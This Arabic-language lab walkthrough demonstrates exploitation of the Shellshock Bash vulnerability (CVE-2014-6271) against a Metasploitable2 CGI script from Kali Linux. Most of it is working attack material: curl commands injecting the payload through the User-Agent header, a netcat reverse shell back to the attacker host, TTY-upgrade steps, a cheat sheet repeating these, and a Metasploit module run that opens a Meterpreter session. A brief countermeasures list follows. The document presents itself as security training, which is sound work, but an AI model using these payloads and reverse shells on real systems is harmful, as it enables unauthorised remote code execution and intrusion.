مختبر عرض توضيحي حديث ومتكامل لثغرة CVE-2014-6271 (Shellshock)، ويتضمن البنية المعمارية، خطوات الاستغلال، استخدام Burp Suite، الصدى العكسي (Reverse Shells)، الإجراءات المضادة، وورقة غش كاملة بالأوامر.
تُعد Shellshock (CVE-2014-6271) واحدة من أكثر ثغرات تنفيذ الأكواد عن بُعد تأثيرًا على الإطلاق. تؤثر الثغرة على Bash وتسمح للمهاجمين بتنفيذ أوامر عشوائية بمجرد حقن حمولات مصممة بعناية في متغيرات البيئة.
يوفر هذا الدليل عرضًا كاملاً وقابلاً لإعادة الإنتاج باستخدام:
صُمم هذا الدليل لأغراض التعليم والبحث والتدريب والتوعية العامة بالأمن السيبراني.
| المكوّن | الدور | نظام التشغيل | عنوان IP | الخدمات الرئيسية |
|---|---|---|---|---|
| Kali Linux | المهاجم | Kali Linux (الأحدث) | 192.168.1.4 | curl, Burp Suite, Netcat |
| Metasploitable2 | الخادم الهدف الضعيف | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2, نصوص CGI, Bash |
| Apache mod_cgi | تنفيذ السكربتات | يعمل على MSF2 | n/a | يكشف Bash عبر CGI |
| shellshock.sh | نقطة دخول ضعيفة | Bash CGI | n/a | يعرض متغيرات البيئة |
يحاكي هذا الإعداد البسيط المكوّن من عقدتين العديد من البيئات القديمة التي لا تزال قائمة في الأنظمة الصناعية وأنظمة إنترنت الأشياء (IoT).
على Metasploitable2:
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
اختبر السكربت من Kali:
curl http://192.168.1.5/cgi-bin/shellshock.sh
يجب أن ترى متغيرات البيئة معروضة.
تحدث ثغرة Shellshock عندما تقوم Bash بتحليل متغيرات البيئة التي تشبه تعريفات الدوال بشكل غير صحيح.
متغير خبيث مثل:
() { :; }; /bin/bash -c "id"
سيجعل Bash تنفّذ الأمر بعد تعريف الدالة — حتى وإن لم يتم استدعاء الدالة نفسها أبدًا.
تكون تطبيقات CGI معرّضة للخطر بشكل خاص لأن ترويسات HTTP تُمرَّر تلقائيًا إلى السكربتات كمتغيرات بيئة.
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
يجب أن يتضمن المخرَج:
Vulnerable
uid=33(www-data)
هذا يؤكد تنفيذ الأكواد عن بُعد.
قم بزيارة:
http://192.168.1.5/cgi-bin/shellshock.sh
أرسل الطلب إلى Repeater.
استبدل ترويسة User-Agent بالتالي:
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
يجب أن ترى:
BurpTest
uid=33(www-data)
تؤكد Burp Suite الثغرة بطريقة مرئية وتعليمية.
شغّل المستمع على Kali:
nc -lvnp 4444
قم بتشغيل الشل العكسي عبر سكربت CGI:
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
سيتصل الشل مرة أخرى بـ Kali.
داخل الشل العكسي:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
علّق الجلسة:
Ctrl + Z
على Kali:
stty raw -echo; fg
اضغط Enter.
أصبح لديك الآن:
┌────────────────────────┐
│ Attacker (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. Malicious HTTP Header (Shellshock)
│
▼
┌──────────────────────────┐
│ Apache Web Server (CGI) │
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. Header → CGI Environment Variable
│
▼
┌──────────────────────────┐
│ Bash (Vulnerable) │
└───────────┬──────────────┘
│
3. Injected Command Executes
│
▼
┌─────────────────────────┐
│ www-data Shell Access │
└───────────┬─────────────┘
│
4. Reverse Shell → Kali
│
▼
┌──────────────────────────┐
│ Full Interactive TTY │
└──────────────────────────┘
جولة مرئية عبر المراحل الرئيسية للهجوم.
| الوصف | الصورة |
|---|---|
| ناتج فحص Nmap + اختبار Shellshock | ![]() |
| Burp Suite – طلب Shellshock الأولي | ![]() |
| Burp Suite – حقن الحمولة / الترويسة | ![]() |
| استلام الشل العكسي على Kali (nc) | ![]() |
حدّث إلى إصدار يعالج تحليل الدوال بشكل صحيح.
يُدخل CGI القديم مخاطر نظامية غير ضرورية.
احذف الأنماط المشبوهة مثل:
() { :; };
قيّد صلاحيات مستخدم خادم الويب (www-data).
يمنع الشلات العكسية وسرقة البيانات.
تكتشف توقيعات WAF الحديثة Shellshock فورًا.
يحتوي عمليات Bash ويمنع السلوك غير المقصود.
استخدم أدوات مثل:
http-shellshock.nse)sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
curl http://192.168.1.5/cgi-bin/shellshock.sh
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
nc -lvnp 4444
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
داخل الشل:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
علّق:
Ctrl + Z
على Kali:
stty raw -echo; fg
اضغط Enter.
توفر Metasploit طريقة احترافية وآلية لاستغلال Shellshock باستخدام الوحدة المدمجة:
exploit/multi/http/apache_mod_cgi_bash_env_exec
هذه الطريقة سريعة وموثوقة وتوفر مراحل تحميل تلقائية للحمولة (مثل Meterpreter).
msfconsole
search shellshock
يجب أن ترى (من بين أمور أخرى):
exploit/multi/http/apache_mod_cgi_bash_env_exec Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env Apache mod_cgi Bash Environment Variable Injection (Scanner)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
حدد عنوان IP للهدف:
set rhosts 192.168.1.5
حدد مسار CGI الضعيف:
set targeturi /cgi-bin/shellshock.sh
حدد عنوان IP الخاص بـ Kali:
set lhost 192.168.1.4
اختياريًا، حدد منفذ الاستماع:
set lport 4444
تحقق:
options
يجب أن ترى:
RHOSTS 192.168.1.5
TARGETURI /cgi-bin/shellshock.sh
LHOST 192.168.1.4
LPORT 4444
METHOD GET
HEADER User-Agent
CVE CVE-2014-6271
run
عند النجاح:
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...
sessions -i 1
أصبح لديك الآن:
meterpreter >
shell
ثم:
id
hostname
المتوقع:
uid=33(www-data) gid=33(www-data)
metasploitable
لقد حصلت على تنفيذ أوامر عن بُعد باستخدام Metasploit وShellshock.
يوضح هذا العرض التوضيحي كيف يمكن استغلال Shellshock من خلال التلاعب البسيط بترويسات HTTP، والشلات العكسية، وتنفيذ سكربتات CGI، وأتمتة Metasploit. وعلى الرغم من أن عمر الثغرة يتجاوز عقدًا من الزمن، تظل Shellshock درسًا مهمًا في:
صُنع بكل حب بواسطة:
Haitham of Oman ❤️🇴🇲